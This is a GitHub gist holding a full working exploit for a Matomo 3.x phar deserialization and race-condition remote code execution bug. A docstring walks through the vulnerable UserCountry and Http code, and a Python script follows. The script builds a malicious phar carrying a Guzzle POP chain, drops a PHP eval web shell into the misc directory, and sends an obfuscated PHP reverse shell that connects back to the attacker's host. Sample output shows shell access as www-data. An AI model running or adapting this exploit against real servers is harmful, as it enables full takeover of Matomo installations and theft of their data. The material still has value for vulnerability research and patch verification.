-
-
Save stevenseeley/e1b1ad6290ad3d186cdff50df6732632 to your computer and use it in GitHub Desktop.
A Matomo n-day RCE that was silently patched by removing the UserCountry module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Matomo downloadMissingGeoIpDb Phar Deserialization of Untrusted Data Remote Code Execution Vulnerability | |
This exploit will only work when this is merged: https://github.com/matomo-org/matomo/pull/16582 | |
## Summary: | |
A race condition deserialization of untrusted data can be reached from an admin user that can result in remote code execution. | |
## Notes: | |
- bug was silently patched by removing the UserCountry module | |
- worked against 3.x | |
## Requirements: | |
This is not the perfect bug, this exploit requires that the target has: | |
1. php-curl disabled | |
2. the GoogleAnalyticsImporter plugin installed | |
3. an admin api key | |
We can probably remove requirement 2 with enough effort of developing a pop chain using internal classes only (best to use toString gadgets). Also, there maybe other API's that use the Http class with attacker controlled input and is exploitable rce, I'm just demonstrating this particular chain. | |
## Notes: | |
- I tested this on Ubuntu 18 using the installation guide they provide: https://matomo.org/docs/installation/#the-5-minute-matomo-installation | |
- php-curl maybe disabled or not installed on 3rd party hosting providers | |
## Vulnerability Analysis: | |
Bare with me, this one will be a little complicated to explain. Inside of the plugins/UserCountry/Controller.php script (this is a default plugin) we can see the following API: | |
```php | |
public function downloadMissingGeoIpDb() | |
{ | |
$this->dieIfGeolocationAdminIsDisabled(); | |
Piwik::checkUserHasSuperUserAccess(); | |
if ($_SERVER["REQUEST_METHOD"] == "POST") { | |
try { | |
$this->checkTokenInUrl(); | |
Json::sendHeaderJSON(); | |
// based on the database type (provided by the 'key' query param) determine the | |
// url & output file name | |
$key = Common::getRequestVar('key', null, 'string'); // 1 | |
if ($this->isGeoIp2Enabled()) { | |
$url = GeoIP2AutoUpdater::getConfiguredUrl($key); // 2 | |
$filename = GeoIP2AutoUpdater::getZippedFilenameToDownloadTo($url, $key, GeoIP2AutoUpdater::getGeoIPUrlExtension($url)); | |
$outputPath = GeoIp2::getPathForGeoIpDatabase($filename); | |
} else { | |
$url = GeoIPAutoUpdater::getConfiguredUrl($key); | |
$ext = GeoIPAutoUpdater::getGeoIPUrlExtension($url); | |
$filename = GeoIp::$dbNames[$key][0] . '.' . $ext; | |
if (substr($filename, 0, 15) == 'GeoLiteCity.dat') { | |
$filename = 'GeoIPCity.dat' . substr($filename, 15); | |
} | |
$outputPath = GeoIp::getPathForGeoIpDatabase($filename); | |
} | |
// download part of the file | |
$result = Http::downloadChunk( | |
$url, $outputPath, Common::getRequestVar('continue', true, 'int')); // 6 | |
``` | |
We can see that the code at [1] sets the `$key` variable from attacker controlled input. At [2] the code gets the configured `$url` based on that key. It's possible to set the urls for each of the keys via the `updateGeoIPLinks` method in the same controller: | |
```php | |
public function updateGeoIPLinks() | |
{ | |
$this->dieIfGeolocationAdminIsDisabled(); | |
Piwik::checkUserHasSuperUserAccess(); | |
if ($_SERVER["REQUEST_METHOD"] == "POST") { | |
Json::sendHeaderJSON(); | |
try { | |
$this->checkTokenInUrl(); | |
if ($this->isGeoIp2Enabled()) { | |
GeoIP2AutoUpdater::setUpdaterOptionsFromUrl(); // 3 | |
} else { | |
GeoIPAutoUpdater::setUpdaterOptionsFromUrl(); | |
} | |
// if there is a updater URL for a database, but its missing from the misc dir, tell | |
// the browser so it can download it next | |
$info = $this->getNextMissingDbUrlInfo(); | |
if ($info !== false) { | |
return json_encode($info); | |
} else { | |
$view = new View("@UserCountry/_updaterNextRunTime"); | |
if ($this->isGeoIp2Enabled()) { | |
$view->nextRunTime = GeoIP2AutoUpdater::getNextRunTime(); | |
} else { | |
$view->nextRunTime = GeoIPAutoUpdater::getNextRunTime(); | |
} | |
$nextRunTimeHtml = $view->render(); | |
return json_encode(array('nextRunTime' => $nextRunTimeHtml)); | |
} | |
} catch (Exception $ex) { | |
return json_encode(array('error' => $ex->getMessage())); | |
} | |
} | |
} | |
``` | |
At *[3]* the code calls `setUpdaterOptionsFromUrl` because the `isGeoIp2Enabled` returns true (default). This code is defined in plugins/GeoIp2/GeoIP2AutoUpdater.php: | |
```php | |
public static function setUpdaterOptionsFromUrl() | |
{ | |
$options = array( | |
'loc' => Common::getRequestVar('loc_db', false, 'string'), // 4 | |
'isp' => Common::getRequestVar('isp_db', false, 'string'), | |
'period' => Common::getRequestVar('period', false, 'string'), | |
); | |
foreach (self::$urlOptions as $optionKey => $optionName) { | |
$options[$optionKey] = Common::unsanitizeInputValue($options[$optionKey]); // URLs should not be sanitized | |
} | |
self::setUpdaterOptions($options); // 5 | |
} | |
``` | |
At *[4]* the code gets the parameters `loc_db` and `isp_db` from the request and at *[5]* the code sets the parameters in some sort of persistant storage (probably a database). Back in `downloadMissingGeoIpDb` at *[6]* we can see the code calls the static method `Http::downloadChunk`. | |
Inside of the core/Http.php class, we can see that the `getTransportMethod` returns the `$method` to use. If php-curl is not enabled, then the `fopen` method is returned. | |
```php | |
class Http | |
{ | |
/** | |
* Returns the "best" available transport method for {@link sendHttpRequest()} calls. | |
* | |
* @return string|null Either curl, fopen, socket or null if no method is supported. | |
* @api | |
*/ | |
public static function getTransportMethod() | |
{ | |
$method = 'curl'; | |
if (!self::isCurlEnabled()) { | |
$method = 'fopen'; | |
if (@ini_get('allow_url_fopen') != '1') { | |
$method = 'socket'; | |
if (!self::isSocketEnabled()) { | |
return null; | |
} | |
} | |
} | |
return $method; | |
} | |
protected static function isSocketEnabled() | |
{ | |
return function_exists('fsockopen'); | |
} | |
protected static function isCurlEnabled() | |
{ | |
return function_exists('curl_init') && function_exists('curl_exec'); | |
} | |
``` | |
Inside of the same class, the `downloadChunk` method is defined and calls `sendHttpRequest` with the attacker supplied `$url` at *[7]* | |
```php | |
public static function downloadChunk($url, $outputPath, $isContinuation) | |
{ | |
// make sure file doesn't already exist if we're starting a new download | |
if (!$isContinuation | |
&& file_exists($outputPath) | |
) { | |
throw new Exception( | |
Piwik::translate('General_DownloadFail_FileExists', "'" . $outputPath . "'") | |
. ' ' . Piwik::translate('General_DownloadPleaseRemoveExisting')); | |
} | |
// if we're starting a download, get the expected file size & save as an option | |
$downloadOption = $outputPath . '_expectedDownloadSize'; | |
if (!$isContinuation) { | |
$expectedFileSizeResult = Http::sendHttpRequest( // 7 | |
... | |
} | |
// ... | |
public static function sendHttpRequest($aUrl, | |
$timeout, | |
$userAgent = null, | |
$destinationPath = null, | |
$followDepth = 0, | |
$acceptLanguage = false, | |
$byteRange = false, | |
$getExtendedInfo = false, | |
$httpMethod = 'GET', | |
$httpUsername = null, | |
$httpPassword = null) | |
{ | |
// create output file | |
$file = self::ensureDestinationDirectoryExists($destinationPath); | |
$acceptLanguage = $acceptLanguage ? 'Accept-Language: ' . $acceptLanguage : ''; | |
return self::sendHttpRequestBy(self::getTransportMethod(), $aUrl,... // 8 | |
``` | |
Then, at [8] the `sendHttpRequest` method calls `sendHttpRequestBy` using the `$url` and the result from `getTransportMethod`. | |
```php | |
public static function sendHttpRequestBy( | |
$method = 'socket', | |
$aUrl, | |
$timeout, | |
$userAgent = null, | |
$destinationPath = null, | |
$file = null, // not a resource | |
$followDepth = 0, | |
$acceptLanguage = false, | |
$acceptInvalidSslCertificate = false, | |
$byteRange = false, | |
$getExtendedInfo = false, | |
$httpMethod = 'GET', | |
$httpUsername = null, | |
$httpPassword = null, | |
$requestBody = null, | |
$additionalHeaders = array() | |
) { | |
// ... | |
} elseif ($method == 'fopen') { // 9 | |
$response = false; | |
//... | |
// save to file | |
if (is_resource($file)) { | |
if (!($handle = fopen($aUrl, 'rb', false, $ctx))) { | |
throw new Exception("Unable to open $aUrl"); | |
} | |
while (!feof($handle)) { | |
$response = fread($handle, 8192); | |
$fileLength += strlen($response); | |
fwrite($file, $response); | |
} | |
fclose($handle); | |
} else { | |
$response = @file_get_contents($aUrl, 0, $ctx); // 10 | |
``` | |
At *[9]* the code checks that the method is set to `fopen`, it will be if curl is not enabled in the environment. Note that curl is not required for installation of matomo. The issue with the bug at *[10]* is that it's possible for an attacker to trigger phar:// deserialization since the controlled url is parsed to `file_get_contents`. | |
## Exploitation: | |
With this bug, it's possible to leak file content data via a race condition or execute arbitray code via phar deserialization. Let's first look at the race condition. Continuing from `downloadMissingGeoIpDb` we can see that there is a call to `GeoIP2AutoUpdater::unzipDownloadedFile` at *[11]*. Note here that `$unlink` is set to true | |
``` | |
// download part of the file | |
$result = Http::downloadChunk( | |
$url, $outputPath, Common::getRequestVar('continue', true, 'int')); | |
// if the file is done | |
if ($result['current_size'] >= $result['expected_file_size']) { | |
if ($this->isGeoIp2Enabled()) { | |
GeoIP2AutoUpdater::unzipDownloadedFile($outputPath, $key, $url, $unlink = true); // 11 | |
} else { | |
GeoIPAutoUpdater::unzipDownloadedFile($outputPath, $unlink = true); | |
} | |
$info = $this->getNextMissingDbUrlInfo(); | |
if ($info !== false) { | |
return json_encode($info); | |
} | |
} | |
return json_encode($result); | |
} catch (Exception $ex) { | |
return json_encode(array('error' => $ex->getMessage())); | |
``` | |
For the sake of completeness, I have included the complete function: | |
```php | |
public static function unzipDownloadedFile($path, $dbType, $url, $unlink = false) | |
{ | |
$isDbIp = self::isDbIpUrl($url); | |
$isDbIpUnknownDbType = $isDbIp && substr($path, -5, 5) == '.mmdb'; | |
// extract file | |
if (substr($path, -7, 7) == '.tar.gz') { | |
// find the .dat file in the tar archive | |
$unzip = Unzip::factory('tar.gz', $path); | |
$content = $unzip->listContent(); | |
if (empty($content)) { | |
throw new Exception(Piwik::translate('UserCountry_CannotListContent', | |
array("'$path'", $unzip->errorInfo()))); | |
} | |
$fileToExtract = null; | |
foreach ($content as $info) { | |
$archivedPath = $info['filename']; | |
foreach (LocationProviderGeoIp2::$dbNames[$dbType] as $dbName) { | |
if (basename($archivedPath) === $dbName | |
|| preg_match('/' . $dbName . '/', basename($archivedPath)) | |
) { | |
$fileToExtract = $archivedPath; | |
} | |
} | |
} | |
if ($fileToExtract === null) { | |
throw new Exception(Piwik::translate('GeoIp2_CannotFindGeoIPDatabaseInArchive', | |
array("'$path'"))); | |
} | |
// extract JUST the .dat file | |
$unzipped = $unzip->extractInString($fileToExtract); | |
if (empty($unzipped)) { | |
throw new Exception(Piwik::translate('GeoIp2_CannotUnzipGeoIPFile', | |
array("'$path'", $unzip->errorInfo()))); | |
} | |
$dbFilename = basename($fileToExtract); | |
$tempFilename = $dbFilename . '.new'; | |
$outputPath = self::getTemporaryFolder($tempFilename); | |
// write unzipped to file | |
$fd = fopen($outputPath, 'wb'); // 12 | |
fwrite($fd, $unzipped); // 13 | |
fclose($fd); | |
} else if (substr($path, -3, 3) == '.gz' | |
|| $isDbIpUnknownDbType | |
) { | |
$unzip = Unzip::factory('gz', $path); | |
if ($isDbIpUnknownDbType) { | |
$tempFilename = 'unzipped-temp-dbip-file.mmdb'; | |
} else { | |
$dbFilename = substr(basename($path), 0, -3); | |
$tempFilename = $dbFilename . '.new'; | |
} | |
$outputPath = self::getTemporaryFolder($tempFilename); | |
$success = $unzip->extract($outputPath); | |
if ($success !== true) { | |
throw new Exception(Piwik::translate('UserCountry_CannotUnzipDatFile', | |
array("'$path'", $unzip->errorInfo()))); | |
} | |
if ($isDbIpUnknownDbType) { | |
$php = new Php([$dbType => [$outputPath]]); | |
$dbFilename = $php->detectDatabaseType($dbType) . '.mmdb'; | |
} | |
} else { | |
$ext = end(explode(basename($path), '.', 2)); | |
throw new Exception(Piwik::translate('UserCountry_UnsupportedArchiveType', "'$ext'")); | |
} | |
try { | |
// test that the new archive is a valid GeoIP 2 database | |
if (empty($dbFilename) || false === LocationProviderGeoIp2::getGeoIPDatabaseTypeFromFilename($dbFilename)) { | |
throw new Exception("Unexpected GeoIP 2 archive file name '$path'."); | |
} | |
$customDbNames = array( | |
'loc' => array(), | |
'isp' => array() | |
); | |
$customDbNames[$dbType] = array($outputPath); | |
$phpProvider = new Php($customDbNames); | |
try { | |
// test that the new archive is a valid GeoIP 2 database | |
if (empty($dbFilename) || false === LocationProviderGeoIp2::getGeoIPDatabaseTypeFromFilename($dbFilename)) { | |
throw new Exception("Unexpected GeoIP 2 archive file name '$path'."); | |
} | |
$customDbNames = array( | |
'loc' => array(), | |
'isp' => array() | |
); | |
$customDbNames[$dbType] = array($outputPath); | |
$phpProvider = new Php($customDbNames); | |
try { | |
$location = $phpProvider->getLocation(array('ip' => LocationProviderGeoIp2::TEST_IP)); | |
} catch (\Exception $e) { | |
Log::info("GeoIP2AutoUpdater: Encountered exception when testing newly downloaded" . | |
" GeoIP 2 database: %s", $e->getMessage()); | |
throw new Exception(Piwik::translate('UserCountry_ThisUrlIsNotAValidGeoIPDB')); | |
} | |
if (empty($location)) { | |
throw new Exception(Piwik::translate('UserCountry_ThisUrlIsNotAValidGeoIPDB')); | |
} | |
// delete the existing GeoIP database (if any) and rename the downloaded file | |
$oldDbFile = LocationProviderGeoIp2::getPathForGeoIpDatabase($dbFilename); | |
if (file_exists($oldDbFile)) { | |
@unlink($oldDbFile); | |
} | |
$tempFile = self::getTemporaryFolder($tempFilename); | |
if (@rename($tempFile, $oldDbFile) !== true) { | |
//In case the $tempfile cannot be renamed, we copy the file. | |
copy($tempFile, $oldDbFile); | |
unlink($tempFile); | |
} | |
// delete original archive | |
if ($unlink) { | |
unlink($path); | |
} | |
self::renameAnyExtraGeolocationDatabases($dbFilename, $dbType); | |
} catch (Exception $ex) { | |
// remove downloaded files | |
if (file_exists($outputPath)) { | |
unlink($outputPath); // 14 | |
} | |
unlink($path); | |
throw $ex; | |
} | |
} | |
Although it can't be seen in the code here because it dynamically is created, at *[12]* and *[13]* the `outputPath` that is used for a file write. The contents are completely controlled but not the filename. Later at *[14]* the code deletes the file!! | |
Even though the file is deleted, this gives us a race condition to exploit the file read/phar deserialization. To win the race, I had to pad my phar archive with a large string and recalculate the checksum. We will also need a pop chain for exploitation. Even though I am told from the php gods that an rce pop chain exists in the code without using plugins, I simply used the pop chain as part of the GoogleAnalyticsImporter plugin for a quick poc because this was developed by matomo anyway and likely to be installed. | |
```sh | |
researcher@pluto:/var/www/html/matomo$ grep -ir "__destruct" plugins/GoogleAnalyticsImporter | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php: public function __destruct() | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php: public function __destruct() | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php: public function __destruct() | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/FnStream.php: public function __destruct() | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/FnStream.php: * An unserialize would allow the __destruct to run when the unserialized value goes out of scope. | |
plugins/GoogleAnalyticsImporter/vendor/guzzlehttp/psr7/src/Stream.php: public function __destruct() | |
``` | |
So, to recap, the race condition is here inside of `downloadMissingGeoIpDb`: | |
```php | |
// download part of the file | |
$result = Http::downloadChunk( | |
$url, $outputPath, Common::getRequestVar('continue', true, 'int')); // party starter | |
// RACE RIGHT HERE FOR RCE | |
// if the file is done | |
if ($result['current_size'] >= $result['expected_file_size']) { | |
if ($this->isGeoIp2Enabled()) { | |
GeoIP2AutoUpdater::unzipDownloadedFile($outputPath, $key, $url, $unlink = true); | |
} else { | |
GeoIPAutoUpdater::unzipDownloadedFile($outputPath, $unlink = true); // party pooper | |
} | |
$info = $this->getNextMissingDbUrlInfo(); | |
if ($info !== false) { | |
return json_encode($info); | |
} | |
} | |
``` | |
## Example: | |
researcher@panda:~$ ./poc.py 192.168.75.156 /matomo/ 172.24.80.92:1234 c472fe7b9300545d1bf9202dc2253e35 | |
(+) leaking the web root path | |
(+) starting http server | |
(+) setting the http callback server | |
(+) triggering deserialization in another thread | |
(+) triggering download and attempting race... | |
(+) triggered http GET callback for the phar | |
(+) starting handler on port 1234 | |
(+) connection from 172.24.80.1 | |
(+) pop thy shell! | |
id | |
uid=33(www-data) gid=33(www-data) groups=33(www-data) | |
exit | |
*** Connection closed by remote host *** | |
## Credit: | |
Steven Seeley of Qihoo 360 Vulcan Team | |
""" | |
import re | |
import sys | |
import zlib | |
import base64 | |
import struct | |
import hashlib | |
import telnetlib | |
import socket | |
import requests | |
from threading import Thread | |
from http.server import BaseHTTPRequestHandler, HTTPServer | |
def handler(lport): | |
print("(+) starting handler on port %d" % lport) | |
t = telnetlib.Telnet() | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind(("0.0.0.0", lport)) | |
s.listen(1) | |
conn, addr = s.accept() | |
print("(+) connection from %s" % addr[0]) | |
t.sock = conn | |
print("(+) pop thy shell!") | |
t.interact() | |
def get_code(lserver, lport): | |
phpkode = (""" | |
unlink("hacked.php");@set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""") | |
phpkode += ("""$dis=@ini_get('disable_functions');""") | |
phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""") | |
phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """) | |
phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """) | |
phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """) | |
phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""") | |
phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""") | |
phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """) | |
phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""") | |
phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """) | |
phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """) | |
phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """) | |
phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """) | |
phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """) | |
phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """) | |
phpkode += ("""$o=ob_get_contents();ob_end_clean(); """) | |
phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """) | |
phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """) | |
phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """) | |
phpkode += ("""$nofuncs='no exec functions'; """) | |
phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """) | |
phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (lserver, lport)) | |
phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) | |
phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """) | |
phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """) | |
phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """) | |
phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (lserver, lport)) | |
phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """) | |
phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """) | |
phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """) | |
phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """) | |
phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """) | |
phpkode += ("""}@socket_close($s);} """) | |
return phpkode | |
class serve_phar(BaseHTTPRequestHandler): | |
# turn off logging | |
def log_message(self, format, *args): | |
return | |
def generate_phar(self, p): | |
"""Generate the phar archive with a custom pop chain""" | |
pop = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":2:{s:41:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename";' | |
pop += str('s:%d:"%s";' % (len(p), p)) | |
pop += 's:36:"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies";' | |
pop += 'a:1:{i:0;O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:33:"\x00GuzzleHttp\\Cookie\\SetCookie\x00data";' | |
pop += 'a:3:{s:5:"Value";' | |
pop += 's:48:"<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>";' | |
pop += 's:7:"Expires";' | |
pop += 'b:1;' | |
pop += 's:7:"Discard";' | |
pop += 'b:0;}}}}' | |
s = hashlib.sha1() | |
f = "si.txt" | |
stub = b"<?php __HALT_COMPILER(); ?>\r\n" | |
f_contents = b"Full Stack Web Attack" | |
manifest_len = 46 + len(pop) + len(f) | |
# build our phar | |
phar = stub | |
phar += struct.pack("<I", manifest_len) # length of manifest in bytes | |
phar += struct.pack("<I", 0x1) # number of files in the phar | |
phar += struct.pack("<H", 0x11) # api version of the phar manifest | |
phar += struct.pack("<I", 0x10000) # global phar bitmapped flags | |
phar += struct.pack("<I", 0x0) # length of phar alias | |
phar += struct.pack("<I", len(pop)) # length of phar metadata | |
phar += str.encode(pop) # pop chain | |
phar += struct.pack("<I", len(f)) # length of filename in the archive | |
phar += str.encode(f) # filename | |
phar += struct.pack("<I", len(f_contents)) # length of the uncompressed file contents | |
phar += struct.pack("<I", 0x0) # unix timestamp of file set to Jan 01 1970. | |
phar += struct.pack("<I", len(f_contents)) # length of the compressed file contents | |
phar += struct.pack("<I", zlib.crc32(f_contents) & 0xFFFFFFFF) # crc32 checksum of un-compressed file contents | |
phar += struct.pack("<I", 0x1b6) # bit-mapped file-specific flags | |
phar += struct.pack("<I", 0x0) # serialized File Meta-data length | |
phar += f_contents # serialized File Meta-data | |
phar += str.encode("A" * 132000) # this is just some junk, so that we win the race condition! | |
s.update(phar) | |
phar += s.digest() # signature | |
phar += struct.pack("<I", 0x2) # signiture is of type sha1 | |
phar += b"GBMB" # signature presence | |
return phar | |
def do_GET(self): | |
if "pwn.gz" in self.path: | |
print("(+) triggered http GET callback for the phar") | |
self.send_response(200) | |
payload = self.generate_phar("%smisc/hacked.php" % target_web_root_path) | |
self.send_header("Content-Type", "application/gzip") | |
self.send_header("Content-Length", len(payload)) | |
self.end_headers() | |
# we write into the misc directory because we know its writeable due to the GeoIP2-ISP.mmdb.gz file | |
self.wfile.write(payload) | |
return | |
def seed_file(uri, host, tkn): | |
p = { | |
"module" : "UserCountry", | |
"action" : "updateGeoIPLinks" | |
} | |
# we are racing the GeoIP2-ISP.mmdb.gz file | |
d = { | |
"loc_db" : "phar://misc/GeoIP2-ISP.mmdb.gz", | |
"isp_db" : "http://%s:8000/pwn.gz" % host, | |
"token_auth" : tkn | |
} | |
r = requests.post(uri, params=p, data=d) | |
assert "phar" in r.text, "(-) setting the callback seed failed!" | |
def trigger_bug(uri, key, tkn): | |
p = { | |
"module" : "UserCountry", | |
"action" : "downloadMissingGeoIpDb", | |
"continue" : 0 | |
} | |
d = { "key" : key, "token_auth" : tkn } | |
if key == "loc": | |
while 1: | |
requests.post(uri, params=p, data=d) | |
r = requests.post(uri, params=p, data=d) | |
assert "The downloaded file is not a valid geolocation database." in r.text, "(-) attack probably failed!" | |
def leak_web_root(uri, tkn): | |
p = { | |
"module" : "Installation", | |
"action" : "systemCheckPage", | |
"token_auth" : tkn | |
} | |
r = requests.post(uri, params=p) | |
match = re.search("</span> (.*)tmp", r.text) | |
assert match, "(-) couldn't find web root!" | |
return match.group(1) | |
def main(): | |
global target_web_root_path | |
if len(sys.argv) != 5: | |
print("(+) usage: %s <target> <path> <connectback:port> <token>" % sys.argv[0]) | |
print("(+) eg: %s 192.168.75.129 /matomo/ 192.168.75.1:4444 ac8482a1922c5b15944e6580e65f22fb" % sys.argv[0]) | |
sys.exit(0) | |
t = sys.argv[1] | |
p = sys.argv[2] | |
host = sys.argv[3] | |
port = 4444 | |
tkn = sys.argv[4] | |
if not p.startswith("/"): p = "/%s" % p | |
if not p.endswith("/"): p = "%s/" % p | |
if ":" in sys.argv[3]: | |
host = sys.argv[3].split(":")[0] | |
port = sys.argv[3].split(":")[1] | |
assert port.isdigit(), "(-) not a port number!" | |
assert len(tkn) == 32, "(-) not a valid token for sure!" | |
uri = "http://%s%sindex.php" % (t, p) | |
print("(+) leaking the web root path") | |
# stage 1 - we leak the web root path | |
target_web_root_path = leak_web_root(uri, tkn) | |
print("(+) starting http server") | |
# stage 2 - start our http server | |
server = HTTPServer(('0.0.0.0', 8000), serve_phar) | |
handlerthr = Thread(target=server.serve_forever, args=()) | |
handlerthr.daemon = True | |
handlerthr.start() | |
print("(+) setting the http callback server") | |
# stage 3 - we set the connectback server and phar location | |
seed_file(uri, host, tkn) | |
print("(+) triggering deserialization in another thread") | |
# stage 4 - thread off a racer to trigger the deserialization | |
handlerthr = Thread(target=trigger_bug, args=(uri, "loc", tkn, )) | |
handlerthr.daemon = True | |
handlerthr.start() | |
print("(+) triggering download and attempting race...") | |
# stage 5 - trigger the phar download, win the race and write our shell | |
trigger_bug(uri, "isp", tkn) | |
handlerthr = Thread(target=handler, args=(int(port),)) | |
handlerthr.start() | |
# stage 6 - go get some rce | |
h = { "si" : base64.b64encode(str.encode(get_code(host, int(port)))) } | |
requests.get("http://%s%smisc/hacked.php" % (t, p), headers=h) | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment